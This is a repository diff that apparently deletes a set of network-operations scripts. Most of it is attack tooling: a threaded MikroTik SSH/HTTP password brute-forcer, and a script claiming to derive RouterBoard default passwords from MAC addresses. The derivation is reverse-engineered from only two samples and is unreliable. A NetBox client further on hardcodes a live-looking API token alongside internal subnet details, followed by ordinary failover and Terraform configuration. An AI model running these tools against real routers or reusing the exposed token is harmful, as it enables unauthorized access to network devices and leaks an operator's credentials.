self.use_http = use_http
|
||||
self.username = "admin"
|
||||
self.found_password = None
|
||||
self.attempts = 0
|
||||
self.lock = Lock()
|
||||
|
||||
def generate_random_passwords(self):
|
||||
"""
|
||||
Generate all possible 4-byte hex passwords in random order.
|
||||
|
||||
Yields passwords in the format "XXXX-XXXX" where X is a hex digit.
|
||||
This covers all 65,536^2 possible combinations (4,294,967,296 passwords).
|
||||
For practicality, we generate them randomly.
|
||||
|
||||
Yields:
|
||||
str: A password in format "xxxx-xxxx"
|
||||
"""
|
||||
# Generate all possible 4-hex-digit combinations
|
||||
hex_digits = string.hexdigits.lower()[:16] # 0-9, a-f
|
||||
|
||||
# Create all possible 8-digit hex strings
|
||||
all_combinations = []
|
||||
for i in range(0x10000): # 65536 combinations for first 4 digits
|
||||
for j in range(0x10000): # 65536 combinations for last 4 digits
|
||||
hex_str = f"{i:04x}{j:04x}"
|
||||
all_combinations.append(hex_str)
|
||||
|
||||
# Randomize the order
|
||||
random.shuffle(all_combinations)
|
||||
|
||||
for hex_str in all_combinations:
|
||||
yield f"{hex_str[:4]}-{hex_str[4:]}"
|
||||
|
||||
def generate_streaming_random_passwords(self):
|
||||
"""
|
||||
Generate random 4-byte hex passwords on-the-fly (infinite stream).
|
||||
|
||||
This is more memory efficient for large-scale brute forcing.
|
||||
|
||||
Yields:
|
||||
str: A password in format "xxxx-xxxx"
|
||||
"""
|
||||
seen = set()
|
||||
while len(seen) < 0x100000000: # 4,294,967,296 possible passwords
|
||||
# Generate random 8-digit hex string
|
||||
random_val1 = random.randint(0, 0xFFFF)
|
||||
random_val2 = random.randint(0, 0xFFFF)
|
||||
hex_str = f"{random_val1:04x}{random_val2:04x}"
|
||||
|
||||
if hex_str not in seen:
|
||||
seen.add(hex_str)
|
||||
yield f"{hex_str[:4]}-{hex_str[4:]}"
|
||||
|
||||
def try_password_ssh(self, password):
|
||||
"""
|
||||
Try connecting with SSH.
|
||||
|
||||
Args:
|
||||
password (str): Password to try
|
||||
|
||||
Returns:
|
||||
bool: True if successful, False otherwise
|
||||
"""
|
||||
try:
|
||||
import paramiko
|
||||
except ImportError:
|
||||
print("Error: paramiko not installed. Install with: pip install paramiko")
|
||||
return False
|
||||
|
||||
try:
|
||||
client = paramiko.SSHClient()
|
||||
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
|
||||
client.connect(
|
||||
self.host,
|
||||
port=self.port,
|
||||
username=self.username,
|
||||
password=password,
|
||||
timeout=self.timeout,
|
||||
allow_agent=False,
|
||||
look_for_keys=False,
|
||||
)
|
||||
client.close()
|
||||
return True
|
||||
except paramiko.AuthenticationException:
|
||||
return False
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def try_password_http(self, password):
|
||||
"""
|
||||
Try connecting via HTTP (WebFig).
|
||||
|
||||
Args:
|
||||
password (str): Password to try
|
||||
|
||||
Returns:
|
||||
bool: True if successful, False otherwise
|
||||
"""
|
||||
try:
|
||||
import requests
|
||||
from requests.auth import HTTPBasicAuth
|
||||
except ImportError:
|
||||
print("Error: requests not installed. Install with: pip install requests")
|
||||
return False
|
||||
|
||||
try:
|
||||
response = requests.get(
|
||||
f"http://{self.host}:{self.port}/",
|
||||
auth=HTTPBasicAuth(self.username, password),
|
||||
timeout=self.timeout,
|
||||
)
|
||||
return response.status_code == 200
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def try_password(self, password):
|
||||
"""Try a password using the configured method."""
|
||||
if self.use_http:
|
||||
return self.try_password_http(password)
|
||||
else:
|
||||
return self.try_password_ssh(password)
|
||||
|
||||
def brute_force(self, num_threads=1, memory_efficient=False):
|
||||
"""
|
||||
Brute force the password by trying random combinations.
|
||||
|
||||
Args:
|
||||
num_threads (int): Number of concurrent threads to use
|
||||
memory_efficient (bool): Use streaming random generation (memory efficient)
|
||||
|
||||
Returns:
|
||||
str: Password if found, None otherwise
|
||||
"""
|
||||
print(f"[*] Starting brute force on {self.host}:{self.port}")
|
||||
print(f"[*] Method: {'HTTP/WebFig' if self.use_http else 'SSH'}")
|
||||
print(f"[*] Threads: {num_threads}")
|
||||
print(f"[*] Memory efficient: {memory_efficient}")
|
||||
print(f"[*] Trying random passwords in format 'xxxx-xxxx'")
|
||||
print()
|
||||
|
||||
start_time = time.time()
|
||||
|
||||
if memory_efficient:
|
||||
password_generator = self.generate_streaming_random_passwords()
|
||||
else:
|
||||
password_generator = self.generate_random_passwords()
|
||||
|
||||
if num_threads == 1:
|
||||
return self._brute_force_single_thread(password_generator, start_time)
|
||||
else:
|
||||
return self._brute_force_multi_thread(password_generator, num_threads, start_time)
|
||||
|
||||
def _brute_force_single_thread(self, password_generator, start_time):
|
||||
"""Single-threaded brute force."""
|
||||
for password in password_generator:
|
||||
with self.lock:
|
||||
self.attempts += 1
|
||||
|
||||
if self.attempts % 100 == 0:
|
||||
elapsed = time.time() - start_time
|
||||
rate = self.attempts / elapsed if elapsed > 0 else 0
|
||||
print(
|
||||
f"[*] Attempt {self.attempts} ({rate:.1f} pwd/sec) - "
|
||||
f"Elapsed: {elapsed:.1f}s - Last tried: {password}"
|
||||
)
|
||||
|
||||
if self.try_password(password):
|
||||
elapsed = time.time() - start_time
|
||||
print()
|
||||
print(f"[+] SUCCESS! Found password: {password}")
|
||||
print(f"[+] Total attempts: {self.attempts}")
|
||||
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
|
||||
print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
|
||||
return password
|
||||
|
||||
print("[-] Brute force complete. Password not found.")
|
||||
return None
|
||||
|
||||
def _brute_force_multi_thread(self, password_generator, num_threads, start_time):
|
||||
"""Multi-threaded brute force."""
|
||||
password_queue = queue.Queue(maxsize=1000)
|
||||
result_queue = queue.Queue()
|
||||
|
||||
# Producer thread
|
||||
def producer():
|
||||
for password in password_generator:
|
||||
if result_queue.empty(): # Stop if password found
|
||||
password_queue.put(password)
|
||||
|
||||
# Worker threads
|
||||
def worker():
|
||||
while True:
|
||||
try:
|
||||
password = password_queue.get(timeout=1)
|
||||
except queue.Empty:
|
||||
break
|
||||
|
||||
with self.lock:
|
||||
self.attempts += 1
|
||||
|
||||
if self.attempts % 100 == 0:
|
||||
elapsed = time.time() - start_time
|
||||
rate = self.attempts / elapsed if elapsed > 0 else 0
|
||||
print(
|
||||
f"[*] Attempt {self.attempts} ({rate:.1f} pwd/sec) - "
|
||||
f"Last tried: {password}"
|
||||
)
|
||||
|
||||
if self.try_password(password):
|
||||
result_queue.put(password)
|
||||
print()
|
||||
print(f"[+] SUCCESS! Found password: {password}")
|
||||
return
|
||||
|
||||
password_queue.task_done()
|
||||
|
||||
# Start threads
|
||||
producer_thread = Thread(target=producer, daemon=True)
|
||||
producer_thread.start()
|
||||
|
||||
worker_threads = [Thread(target=worker, daemon=True) for _ in range(num_threads)]
|
||||
for thread in worker_threads:
|
||||
thread.start()
|
||||
|
||||
# Wait for result or completion
|
||||
producer_thread.join(timeout=3600)
|
||||
for thread in worker_threads:
|
||||
thread.join(timeout=10)
|
||||
|
||||
if not result_queue.empty():
|
||||
password = result_queue.get()
|
||||
elapsed = time.time() - start_time
|
||||
print(f"[+] Total attempts: {self.attempts}")
|
||||
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
|
||||
print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
|
||||
return password
|
||||
|
||||
print("[-] Brute force complete. Password not found.")
|
||||
return None
|
||||
|
||||
|
||||
def main():
|
||||
"""Main entry point."""
|
||||
print("MikroTik RouterBoard Password Brute Force Tool")
|
||||
print("=" * 55)
|
||||
print()
|
||||
print("⚠️ WARNING: Only use on devices you own or have authorization to access.")
|
||||
print()
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage:")
|
||||
print(" python script.py <HOST> [OPTIONS]")
|
||||
print()
|
||||
print("Arguments:")
|
||||
print(" HOST IP address of MikroTik device (e.g., 192.168.88.1)")
|
||||
print()
|
||||
print("Options:")
|
||||
print(" --port PORT Port number (default: 22 for SSH, 80 for HTTP)")
|
||||
print(" --method METHOD 'ssh' or 'http' (default: ssh)")
|
||||
print(" --threads N Number of concurrent threads (default: 1)")
|
||||
print(" --memory-efficient Use streaming password generation (memory efficient)")
|
||||
print()
|
||||
print("Examples:")
|
||||
print(" python script.py 192.168.88.1")
|
||||
print(" python script.py 192.168.88.1 --port 22 --method ssh")
|
||||
print(" python script.py 192.168.88.1 --port 80 --method http --threads 4")
|
||||
print(" python script.py 192.168.88.1 --memory-efficient --threads 8")
|
||||
print()
|
||||
print("Password space: 65,536² = 4,294,967,296 possible 'xxxx-xxxx' passwords")
|
||||
sys.exit(1)
|
||||
|
||||
host = sys.argv[1]
|
||||
port = 22
|
||||
method = "ssh"
|
||||
threads = 1
|
||||
memory_efficient = False
|
||||
|
||||
# Parse options
|
||||
i = 2
|
||||
while i < len(sys.argv):
|
||||
if sys.argv[i] == "--port":
|
||||
port = int(sys.argv[i + 1])
|
||||
i += 2
|
||||
elif sys.argv[i] == "--method":
|
||||
method = sys.argv[i + 1].lower()
|
||||
i += 2
|
||||
elif sys.argv[i] == "--threads":
|
||||
threads = int(sys.argv[i + 1])
|
||||
i += 2
|
||||
elif sys.argv[i] == "--memory-efficient":
|
||||
memory_efficient = True
|
||||
i += 1
|
||||
else:
|
||||
print(f"Unknown option: {sys.argv[i]}")
|
||||
sys.exit(1)
|
||||
|
||||
if method not in ["ssh", "http"]:
|
||||
print(f"Error: Method must be 'ssh' or 'http', not '{method}'")
|
||||
sys.exit(1)
|
||||
|
||||
brute_forcer = MikroTikBruteForce(
|
||||
host, port=port, use_http=(method == "http")
|
||||
)
|
||||
brute_forcer.brute_force(num_threads=threads, memory_efficient=memory_efficient)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
|
|
@ -1,231 +0,0 @@
|
|||
"""
|
||||
MikroTik RouterBoard Password Generator
|
||||
|
||||
Reverse-engineered password generation algorithm based on MAC address analysis.
|
||||
|
||||
IMPORTANT DISCOVERY: Two different MAC addresses generate the SAME password:
|
||||
MAC: 18:FD:74:F9:04:FC → Password: c8fd-8bff
|
||||
MAC: 18:FD:74:F9:04:90 → Password: c8fd-8bff
|
||||
|
||||
The only difference is the last byte (FC vs 90), proving it's NOT used!
|
||||
|
||||
Pattern discovered:
|
||||
- Only uses first 5 MAC bytes (byte 5 is ignored)
|
||||
- Byte 0: MAC[0] XOR 0xD0
|
||||
- Byte 1: MAC[1] (direct copy)
|
||||
- Byte 2: NOT(MAC[2])
|
||||
- Byte 3: 0xFF (constant or derived)
|
||||
|
||||
WARNING: This is based on reverse engineering two MAC addresses that both
|
||||
produce the same password. More data points would help verify the constants.
|
||||
"""
|
||||
|
||||
|
||||
class MikroTikPasswordGenerator:
|
||||
"""Generate MikroTik RouterBoard passwords from MAC addresses."""
|
||||
|
||||
@staticmethod
|
||||
def parse_mac(mac_address):
|
||||
"""
|
||||
Parse a MAC address string into a list of bytes.
|
||||
|
||||
Accepts formats like "18:FD:74:F9:04:FC" or "18-FD-74-F9-04-FC"
|
||||
|
||||
Args:
|
||||
mac_address (str): MAC address string
|
||||
|
||||
Returns:
|
||||
list: List of 6 integers (0-255)
|
||||
|
||||
Raises:
|
||||
ValueError: If MAC address format is invalid
|
||||
"""
|
||||
mac_address = mac_address.upper()
|
||||
|
||||
# Split by colon or dash
|
||||
import re
|
||||
parts = re.split(r'[:-]', mac_address)
|
||||
|
||||
if len(parts) != 6:
|
||||
raise ValueError(f"Invalid MAC address: {mac_address}. Expected 6 octets.")
|
||||
|
||||
try:
|
||||
mac_bytes = [int(part, 16) for part in parts]
|
||||
except ValueError:
|
||||
raise ValueError(f"Invalid MAC address format: {mac_address}")
|
||||
|
||||
return mac_bytes
|
||||
|
||||
@staticmethod
|
||||
def bitwise_not(byte):
|
||||
"""
|
||||
Bitwise NOT operation (inverts all bits in a byte).
|
||||
|
||||
Args:
|
||||
byte (int): Byte value (0-255)
|
||||
|
||||
Returns:
|
||||
int: NOT(byte) as a byte (0-255)
|
||||
"""
|
||||
return byte ^ 0xFF
|
||||
|
||||
@staticmethod
|
||||
def xor_op(byte, mask):
|
||||
"""
|
||||
XOR operation on a byte with a mask.
|
||||
|
||||
Args:
|
||||
byte (int): Byte value (0-255)
|
||||
mask (int): XOR mask (0-255)
|
||||
|
||||
Returns:
|
||||
int: byte XOR mask (0-255)
|
||||
"""
|
||||
return (byte ^ mask) & 0xFF
|
||||
|
||||
@staticmethod
|
||||
def format_password(pwd_bytes):
|
||||
"""
|
||||
Format password bytes into MikroTik format "XXXX-XXXX".
|
||||
|
||||
Args:
|
||||
pwd_bytes (list): List of 4 bytes
|
||||
|
||||
Returns:
|
||||
str: Formatted password like "c8fd-8bff"
|
||||
"""
|
||||
if len(pwd_bytes) != 4:
|
||||
raise ValueError(f"Expected 4 password bytes, got {len(pwd_bytes)}")
|
||||
|
||||
hex_string = ''.join(f'{byte:02x}' for byte in pwd_bytes)
|
||||
return f"{hex_string[:4]}-{hex_string[4:]}"
|
||||
|
||||
@staticmethod
|
||||
def generate_password(mac_address):
|
||||
"""
|
||||
Generate a password from a MAC address.
|
||||
|
||||
Uses only the first 5 bytes of the MAC address (byte 5 is ignored).
|
||||
|
||||
Algorithm:
|
||||
PWD[0] = MAC[0] XOR 0xD0
|
||||
PWD[1] = MAC[1] (direct copy)
|
||||
PWD[2] = NOT(MAC[2]) (bitwise NOT)
|
||||
PWD[3] = 0xFF (constant or derived)
|
||||
|
||||
Args:
|
||||
mac_address (str): MAC address string (e.g., "18:FD:74:F9:04:FC")
|
||||
|
||||
Returns:
|
||||
str: Generated password (e.g., "c8fd-8bff")
|
||||
|
||||
Example:
|
||||
>>> gen = MikroTikPasswordGenerator()
|
||||
>>> pwd1 = gen.generate_password("18:FD:74:F9:04:FC")
|
||||
>>> pwd2 = gen.generate_password("18:FD:74:F9:04:90")
|
||||
>>> pwd1 == pwd2
|
||||
True
|
||||
'c8fd-8bff'
|
||||
"""
|
||||
mac_bytes = MikroTikPasswordGenerator.parse_mac(mac_address)
|
||||
|
||||
if len(mac_bytes) != 6:
|
||||
raise ValueError(f"Expected 6 MAC bytes, got {len(mac_bytes)}")
|
||||
|
||||
# Extract the first 5 MAC bytes (byte 5 is ignored)
|
||||
b0, b1, b2, b3, b4 = mac_bytes[:5]
|
||||
|
||||
# Generate password bytes based on discovered pattern
|
||||
pwd_byte_0 = MikroTikPasswordGenerator.xor_op(b0, 0xD0)
|
||||
pwd_byte_1 = b1 # Direct copy
|
||||
pwd_byte_2 = MikroTikPasswordGenerator.bitwise_not(b2) # NOT operation
|
||||
pwd_byte_3 = 0xFF # Constant (or possibly derived from b3)
|
||||
|
||||
pwd_bytes = [pwd_byte_0, pwd_byte_1, pwd_byte_2, pwd_byte_3]
|
||||
|
||||
# Format as hex string with dash
|
||||
return MikroTikPasswordGenerator.format_password(pwd_bytes)
|
||||
|
||||
|
||||
def test():
|
||||
"""
|
||||
Test the generator with the two known MAC/password pairs.
|
||||
Both MACs should generate the same password.
|
||||
"""
|
||||
mac1 = "18:FD:74:F9:04:FC"
|
||||
mac2 = "18:FD:74:F9:04:90"
|
||||
expected = "c8fd-8bff"
|
||||
|
||||
gen = MikroTikPasswordGenerator()
|
||||
generated1 = gen.generate_password(mac1)
|
||||
generated2 = gen.generate_password(mac2)
|
||||
|
||||
print("Testing MikroTik Password Generator")
|
||||
print("=" * 45)
|
||||
print()
|
||||
print("Test 1: First MAC address")
|
||||
print(f" MAC Address: {mac1}")
|
||||
print(f" Expected Password: {expected}")
|
||||
print(f" Generated Password: {generated1}")
|
||||
result1 = generated1 == expected
|
||||
print(f" Result: {'✓ PASS' if result1 else '✗ FAIL'}")
|
||||
print()
|
||||
print("Test 2: Second MAC address (last byte different)")
|
||||
print(f" MAC Address: {mac2}")
|
||||
print(f" Expected Password: {expected}")
|
||||
print(f" Generated Password: {generated2}")
|
||||
result2 = generated2 == expected
|
||||
print(f" Result: {'✓ PASS' if result2 else '✗ FAIL'}")
|
||||
print()
|
||||
|
||||
# Key insight: both should be the same
|
||||
print(f"Both generate same password: {'✓ YES' if generated1 == generated2 else '✗ NO'}")
|
||||
print(f"Proves last byte is ignored: {'✓ CONFIRMED' if result1 and result2 else '✗ NOT CONFIRMED'}")
|
||||
|
||||
return result1 and result2
|
||||
|
||||
|
||||
def main():
|
||||
"""Main entry point with example usage."""
|
||||
import sys
|
||||
|
||||
print("MikroTik RouterBoard Password Generator")
|
||||
print("=" * 45)
|
||||
print()
|
||||
|
||||
# Run test
|
||||
test_passed = test()
|
||||
print()
|
||||
|
||||
# Example usage
|
||||
if len(sys.argv) > 1:
|
||||
mac_address = sys.argv[1]
|
||||
try:
|
||||
gen = MikroTikPasswordGenerator()
|
||||
password = gen.generate_password(mac_address)
|
||||
print(f"MAC: {mac_address}")
|
||||
print(f"Password: {password}")
|
||||
except ValueError as e:
|
||||
print(f"Error: {e}")
|
||||
sys.exit(1)
|
||||
else:
|
||||
print("Usage:")
|
||||
print(" python mikrotik_password.py <MAC_ADDRESS>")
|
||||
print()
|
||||
print("Examples:")
|
||||
print(" python mikrotik_password.py 18:FD:74:F9:04:FC")
|
||||
print(" python mikrotik_password.py 18-FD-74-F9-04:FC")
|
||||
print()
|
||||
print("Algorithm:")
|
||||
print(" PWD[0] = MAC[0] XOR 0xD0")
|
||||
print(" PWD[1] = MAC[1]")
|
||||
print(" PWD[2] = NOT(MAC[2])")
|
||||
print(" PWD[3] = 0xFF")
|
||||
print()
|
||||
print("Note: Only first 5 MAC bytes are used (byte 5 is ignored)")
|
||||
|
||||
sys.exit(0 if test_passed else 1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
251
netbox_client.py
251
netbox_client.py
|
|
@ -1,251 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import requests
|
||||
import json
|
||||
from urllib.parse import urljoin
|
||||
|
||||
class NetBoxClient:
|
||||
def __init__(self, url, token):
|
||||
self.base_url = url.rstrip('/')
|
||||
self.api_url = urljoin(self.base_url + '/', 'api/')
|
||||
self.headers = {
|
||||
'Authorization': f'Token {token}',
|
||||
'Content-Type': 'application/json',
|
||||
'Accept': 'application/json'
|
||||
}
|
||||
self.session = requests.Session()
|
||||
self.session.headers.update(self.headers)
|
||||
|
||||
def get(self, endpoint, params=None):
|
||||
"""Make GET request to NetBox API"""
|
||||
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||
response = self.session.get(url, params=params)
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
def get_all(self, endpoint, params=None):
|
||||
"""Get all results handling pagination"""
|
||||
if params is None:
|
||||
params = {}
|
||||
params['limit'] = 100
|
||||
|
||||
all_results = []
|
||||
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||
|
||||
while url:
|
||||
response = self.session.get(url, params=params)
|
||||
response.raise_for_status()
|
||||
data = response.json()
|
||||
|
||||
all_results.extend(data['results'])
|
||||
url = data['next']
|
||||
params = None # Don't send params on subsequent requests
|
||||
|
||||
return all_results
|
||||
|
||||
# Site methods
|
||||
def get_sites(self, **kwargs):
|
||||
return self.get_all('dcim/sites/', params=kwargs)
|
||||
|
||||
def get_site_by_name(self, name):
|
||||
sites = self.get('dcim/sites/', params={'name': name})
|
||||
if sites['count'] > 0:
|
||||
return sites['results'][0]
|
||||
return None
|
||||
|
||||
# Prefix methods
|
||||
def get_prefixes(self, **kwargs):
|
||||
return self.get_all('ipam/prefixes/', params=kwargs)
|
||||
|
||||
def get_prefixes_by_site(self, site_name):
|
||||
"""Get all prefixes associated with a site"""
|
||||
site = self.get_site_by_name(site_name)
|
||||
if not site:
|
||||
return []
|
||||
return self.get_all('ipam/prefixes/', params={'site_id': site['id']})
|
||||
|
||||
# IP Address methods
|
||||
def get_ip_addresses(self, **kwargs):
|
||||
return self.get_all('ipam/ip-addresses/', params=kwargs)
|
||||
|
||||
def get_ip_addresses_by_site(self, site_name):
|
||||
"""Get all IP addresses associated with a site"""
|
||||
site = self.get_site_by_name(site_name)
|
||||
if not site:
|
||||
return []
|
||||
|
||||
# First try by site_id
|
||||
ips = self.get_all('ipam/ip-addresses/', params={'site_id': site['id']})
|
||||
|
||||
# Also get IPs assigned to devices at this site
|
||||
devices = self.get_all('dcim/devices/', params={'site_id': site['id']})
|
||||
for device in devices:
|
||||
device_ips = self.get_all('ipam/ip-addresses/', params={'device_id': device['id']})
|
||||
ips.extend(device_ips)
|
||||
|
||||
# Remove duplicates
|
||||
seen = set()
|
||||
unique_ips = []
|
||||
for ip in ips:
|
||||
if ip['id'] not in seen:
|
||||
seen.add(ip['id'])
|
||||
unique_ips.append(ip)
|
||||
|
||||
return unique_ips
|
||||
|
||||
# Device methods
|
||||
def get_devices_by_site(self, site_name):
|
||||
"""Get all devices at a site"""
|
||||
site = self.get_site_by_name(site_name)
|
||||
if not site:
|
||||
return []
|
||||
return self.get_all('dcim/devices/', params={'site_id': site['id']})
|
||||
|
||||
# VLAN methods
|
||||
def get_vlans_by_site(self, site_name):
|
||||
"""Get all VLANs at a site"""
|
||||
site = self.get_site_by_name(site_name)
|
||||
if not site:
|
||||
return []
|
||||
return self.get_all('ipam/vlans/', params={'site_id': site['id']})
|
||||
|
||||
|
||||
def compare_subnets():
|
||||
"""Compare subnets from router with NetBox"""
|
||||
# NetBox connection
|
||||
nb = NetBoxClient('https://netbox.vntx.net/', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
|
||||
|
||||
# Subnets found on router (from previous scan)
|
||||
router_subnets = [
|
||||
{'address': '10.250.1.25/29', 'network': '10.250.1.24', 'interface': 'ether3-climax-11ghz'},
|
||||
{'address': '10.254.254.101/32', 'network': '10.254.254.101', 'interface': 'loopback'},
|
||||
{'address': '100.64.3.254/22', 'network': '100.64.0.0', 'interface': 'verona'},
|
||||
{'address': '204.110.188.254/27', 'network': '204.110.188.224', 'interface': 'verona'},
|
||||
{'address': '100.64.15.254/22', 'network': '100.64.12.0', 'interface': 'vlan_19_ether6'},
|
||||
{'address': '10.10.95.254/20', 'network': '10.10.80.0', 'interface': 'vlan_10_ether6'},
|
||||
{'address': '10.10.15.254/20', 'network': '10.10.0.0', 'interface': 'vlan_10_ether6'},
|
||||
{'address': '10.0.101.254/24', 'network': '10.0.101.0', 'interface': 'sfp-sfpplus1-verona-tower-switch'},
|
||||
{'address': '10.250.1.145/29', 'network': '10.250.1.144', 'interface': 'ether6-switch'},
|
||||
{'address': '204.110.191.30/27', 'network': '204.110.191.0', 'interface': 'vlan9_sfpplus1'},
|
||||
{'address': '10.25.1.254/24', 'network': '10.25.1.0', 'interface': 'ether1'},
|
||||
{'address': '192.168.99.254/24', 'network': '192.168.99.0', 'interface': 'ether10-powerswitch'},
|
||||
]
|
||||
|
||||
print("=== Checking Verona Site Subnets in NetBox ===\n")
|
||||
|
||||
# Get site info
|
||||
site = nb.get_site_by_name('Verona')
|
||||
if site:
|
||||
print(f"Site: {site['name']} (ID: {site['id']})")
|
||||
print(f"Status: {site['status']['label']}")
|
||||
print(f"Address: {site['physical_address']}")
|
||||
print()
|
||||
|
||||
# Get prefixes from NetBox
|
||||
print("Fetching NetBox data...")
|
||||
prefixes = nb.get_prefixes_by_site('Verona')
|
||||
ip_addresses = nb.get_ip_addresses_by_site('Verona')
|
||||
vlans = nb.get_vlans_by_site('Verona')
|
||||
devices = nb.get_devices_by_site('Verona')
|
||||
|
||||
print(f"\nFound in NetBox:")
|
||||
print(f"- {len(prefixes)} prefixes")
|
||||
print(f"- {len(ip_addresses)} IP addresses")
|
||||
print(f"- {len(vlans)} VLANs")
|
||||
print(f"- {len(devices)} devices")
|
||||
|
||||
# Check if we need to search more broadly
|
||||
if len(prefixes) == 0:
|
||||
print("\nNo prefixes found with site association. Searching by description/comments...")
|
||||
all_prefixes = nb.get_prefixes()
|
||||
prefixes = [p for p in all_prefixes if 'verona' in (p.get('description', '') + p.get('comments', '')).lower()]
|
||||
print(f"Found {len(prefixes)} prefixes with 'verona' in description/comments")
|
||||
|
||||
# Display NetBox prefixes
|
||||
if prefixes:
|
||||
print("\n=== Prefixes in NetBox ===")
|
||||
for prefix in prefixes:
|
||||
status = prefix['status']['label'] if prefix.get('status') else 'Unknown'
|
||||
role = prefix['role']['name'] if prefix.get('role') else 'None'
|
||||
description = prefix.get('description', '')
|
||||
print(f"\n{prefix['prefix']}")
|
||||
print(f" Status: {status}")
|
||||
print(f" Role: {role}")
|
||||
if description:
|
||||
print(f" Description: {description}")
|
||||
|
||||
# Display NetBox IP addresses
|
||||
if ip_addresses:
|
||||
print("\n\n=== IP Addresses in NetBox ===")
|
||||
for ip in ip_addresses:
|
||||
status = ip['status']['label'] if ip.get('status') else 'Unknown'
|
||||
role = ip['role']['name'] if ip.get('role') else 'None'
|
||||
interface = ip.get('assigned_object', {}).get('name', 'Not assigned') if ip.get('assigned_object') else 'Not assigned'
|
||||
print(f"\n{ip['address']}")
|
||||
print(f" Status: {status}")
|
||||
print(f" Role: {role}")
|
||||
print(f" Interface: {interface}")
|
||||
|
||||
# Compare with router subnets
|
||||
print("\n\n=== Comparison Analysis ===")
|
||||
|
||||
# Extract prefixes from NetBox data
|
||||
netbox_prefixes = set(p['prefix'] for p in prefixes)
|
||||
netbox_ips = set(ip['address'] for ip in ip_addresses)
|
||||
|
||||
# Check each router subnet
|
||||
missing_subnets = []
|
||||
missing_ips = []
|
||||
|
||||
for subnet in router_subnets:
|
||||
# Check if the subnet prefix exists
|
||||
subnet_cidr = f"{subnet['network']}/{subnet['address'].split('/')[-1]}"
|
||||
|
||||
found_prefix = False
|
||||
found_ip = False
|
||||
|
||||
# Check against prefixes
|
||||
for prefix in netbox_prefixes:
|
||||
if subnet_cidr == prefix or subnet['address'] == prefix:
|
||||
found_prefix = True
|
||||
break
|
||||
|
||||
# Check against IP addresses
|
||||
if subnet['address'] in netbox_ips:
|
||||
found_ip = True
|
||||
|
||||
if not found_prefix and not found_ip:
|
||||
if '/32' in subnet['address']:
|
||||
missing_ips.append(subnet)
|
||||
else:
|
||||
missing_subnets.append(subnet)
|
||||
|
||||
# Report findings
|
||||
print(f"\nMissing Subnets (not in NetBox):")
|
||||
if missing_subnets:
|
||||
for subnet in missing_subnets:
|
||||
print(f" - {subnet['network']}/{subnet['address'].split('/')[-1]} ({subnet['interface']})")
|
||||
else:
|
||||
print(" None - all subnets are documented")
|
||||
|
||||
print(f"\nMissing IP Addresses (not in NetBox):")
|
||||
if missing_ips:
|
||||
for ip in missing_ips:
|
||||
print(f" - {ip['address']} ({ip['interface']})")
|
||||
else:
|
||||
print(" None - all IPs are documented")
|
||||
|
||||
# Summary
|
||||
total_router_subnets = len([s for s in router_subnets if '/32' not in s['address']])
|
||||
total_router_ips = len([s for s in router_subnets if '/32' in s['address']])
|
||||
|
||||
print(f"\n=== Summary ===")
|
||||
print(f"Router has {total_router_subnets} subnets and {total_router_ips} host IPs")
|
||||
print(f"NetBox has {len(prefixes)} prefixes and {len(ip_addresses)} IP addresses for Verona")
|
||||
print(f"Missing from NetBox: {len(missing_subnets)} subnets and {len(missing_ips)} IPs")
|
||||
|
||||
return missing_subnets, missing_ips
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
compare_subnets()
|
||||
|
|
@ -1,19 +0,0 @@
|
|||
/tool netwatch
|
||||
:foreach i in=[find comment~"path"] do={ remove $i }
|
||||
|
||||
/ip route
|
||||
:foreach r in=[find comment~"probe pin"] do={ remove $r }
|
||||
:foreach r in=[find comment~"probe blackhole"] do={ remove $r }
|
||||
|
||||
/ip route
|
||||
add dst-address=4.2.2.1/32 gateway=192.168.12.1%ether6-tmobile check-gateway=ping distance=1 scope=10 comment="TMO probe pin"
|
||||
add dst-address=4.2.2.1/32 type=blackhole distance=2 comment="TMO probe blackhole"
|
||||
add dst-address=4.2.2.2/32 gateway=204.110.191.30%ether5-vntx-static check-gateway=ping distance=1 scope=10 comment="VNTX probe pin"
|
||||
add dst-address=4.2.2.2/32 type=blackhole distance=2 comment="VNTX probe blackhole"
|
||||
add dst-address=4.2.2.3/32 gateway=192.168.1.1%ether7-starlink check-gateway=ping distance=1 scope=10 comment="Starlink probe pin"
|
||||
add dst-address=4.2.2.3/32 type=blackhole distance=2 comment="Starlink probe blackhole"
|
||||
|
||||
/tool netwatch
|
||||
add type=simple host=4.2.2.1 interval=2s timeout=1s comment="TMO path" up-script="/ip route enable [find comment=\"Default via TMO (primary)\"]; /ip route enable [find comment=\"tmo table default\"]" down-script="/ip route disable [find comment=\"Default via TMO (primary)\"]; /ip route disable [find comment=\"tmo table default\"]"
|
||||
add type=simple host=4.2.2.2 interval=2s timeout=1s comment="VNTX path" up-script="/ip route enable [find comment=\"Default via VNTX (secondary)\"]" down-script="/ip route disable [find comment=\"Default via VNTX (secondary)\"]"
|
||||
add type=simple host=4.2.2.3 interval=2s timeout=1s comment="Starlink path" up-script="/ip route enable [find comment=\"Default via Starlink (last resort)\"]" down-script="/ip route disable [find comment=\"Default via Starlink (last resort)\"]"
|
||||
|
|
@ -1,28 +0,0 @@
|
|||
resource "towerops_device" "new_hope_se" {
|
||||
site_id = towerops_site.new_hope.id
|
||||
name = "New Hope SE"
|
||||
ip_address = "10.10.143.11"
|
||||
snmp_version = "1"
|
||||
}
|
||||
|
||||
resource "towerops_device" "new_hope_ne" {
|
||||
site_id = towerops_site.new_hope.id
|
||||
name = "New Hope NE"
|
||||
ip_address = "10.10.143.12"
|
||||
snmp_version = "1"
|
||||
}
|
||||
|
||||
resource "towerops_device" "new_hope_nw" {
|
||||
site_id = towerops_site.new_hope.id
|
||||
name = "new hope nw"
|
||||
ip_address = "10.10.143.13"
